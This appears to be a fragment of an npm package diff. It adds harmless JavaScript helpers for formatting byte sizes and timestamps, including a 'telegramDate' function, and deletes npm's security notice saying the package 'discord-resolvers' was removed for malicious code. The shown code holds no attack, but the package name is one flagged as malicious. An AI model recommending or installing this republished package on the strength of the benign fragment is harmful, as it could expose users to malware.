bytes === 0
|
|
6
|
+
) {
|
|
7
|
+
return '0 B';
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
const units = [
|
|
11
|
+
'B',
|
|
12
|
+
'KB',
|
|
13
|
+
'MB',
|
|
14
|
+
'GB',
|
|
15
|
+
'TB'
|
|
16
|
+
];
|
|
17
|
+
|
|
18
|
+
const i =
|
|
19
|
+
Math.floor(
|
|
20
|
+
Math.log(bytes) /
|
|
21
|
+
Math.log(1024)
|
|
22
|
+
);
|
|
23
|
+
|
|
24
|
+
return `${(
|
|
25
|
+
bytes /
|
|
26
|
+
Math.pow(
|
|
27
|
+
1024,
|
|
28
|
+
i
|
|
29
|
+
)
|
|
30
|
+
).toFixed(2)} ${units[i]}`;
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function timestamp() {
|
|
34
|
+
const d =
|
|
35
|
+
new Date();
|
|
36
|
+
|
|
37
|
+
const pad =
|
|
38
|
+
n =>
|
|
39
|
+
String(n)
|
|
40
|
+
.padStart(
|
|
41
|
+
2,
|
|
42
|
+
'0'
|
|
43
|
+
);
|
|
44
|
+
|
|
45
|
+
return (
|
|
46
|
+
`${d.getFullYear()}` +
|
|
47
|
+
`${pad(
|
|
48
|
+
d.getMonth() + 1
|
|
49
|
+
)}` +
|
|
50
|
+
`${pad(
|
|
51
|
+
d.getDate()
|
|
52
|
+
)}_` +
|
|
53
|
+
`${pad(
|
|
54
|
+
d.getHours()
|
|
55
|
+
)}` +
|
|
56
|
+
`${pad(
|
|
57
|
+
d.getMinutes()
|
|
58
|
+
)}` +
|
|
59
|
+
`${pad(
|
|
60
|
+
d.getSeconds()
|
|
61
|
+
)}`
|
|
62
|
+
);
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
function telegramDate() {
|
|
66
|
+
const d =
|
|
67
|
+
new Date();
|
|
68
|
+
|
|
69
|
+
const pad =
|
|
70
|
+
n =>
|
|
71
|
+
String(n)
|
|
72
|
+
.padStart(
|
|
73
|
+
2,
|
|
74
|
+
'0'
|
|
75
|
+
);
|
|
76
|
+
|
|
77
|
+
return {
|
|
78
|
+
date:
|
|
79
|
+
`${pad(
|
|
80
|
+
d.getDate()
|
|
81
|
+
)}/` +
|
|
82
|
+
`${pad(
|
|
83
|
+
d.getMonth() + 1
|
|
84
|
+
)}/` +
|
|
85
|
+
`${d.getFullYear()}`,
|
|
86
|
+
|
|
87
|
+
time:
|
|
88
|
+
`${pad(
|
|
89
|
+
d.getHours()
|
|
90
|
+
)}:` +
|
|
91
|
+
`${pad(
|
|
92
|
+
d.getMinutes()
|
|
93
|
+
)}:` +
|
|
94
|
+
`${pad(
|
|
95
|
+
d.getSeconds()
|
|
96
|
+
)}`
|
|
97
|
+
};
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
module.exports = {
|
|
101
|
+
formatBytes,
|
|
102
|
+
timestamp,
|
|
103
|
+
telegramDate
|
|
104
|
+
};
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=discord-resolvers for more information.
|